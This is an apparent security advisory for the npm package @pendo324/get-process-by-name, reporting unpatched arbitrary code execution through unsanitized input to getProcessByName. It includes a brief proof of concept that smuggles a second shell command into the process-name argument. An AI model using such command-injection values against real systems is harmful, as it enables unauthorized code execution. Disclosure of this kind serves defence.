Arbitrary Code Execution Affecting @pendo324/get-process-by-name package, versions *


0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    EPSS 0.48% (76th percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-PENDO324GETPROCESSBYNAME-2419094
  • published 28 Aug 2022
  • disclosed 7 Mar 2022
  • credit Feng Xiao, Zhongfu Su

How to fix?

There is no fixed version for @pendo324/get-process-by-name.

Overview

@pendo324/get-process-by-name is a Returns a list of processes that match a process name

Affected versions of this package are vulnerable to Arbitrary Code Execution due to improper sanitization of getProcessByName function.

PoC

const { getProcessByName } = require('@pendo324/get-process-by-name');
getProcessByName("python\" && echo \"1\"> rce.txt # "")

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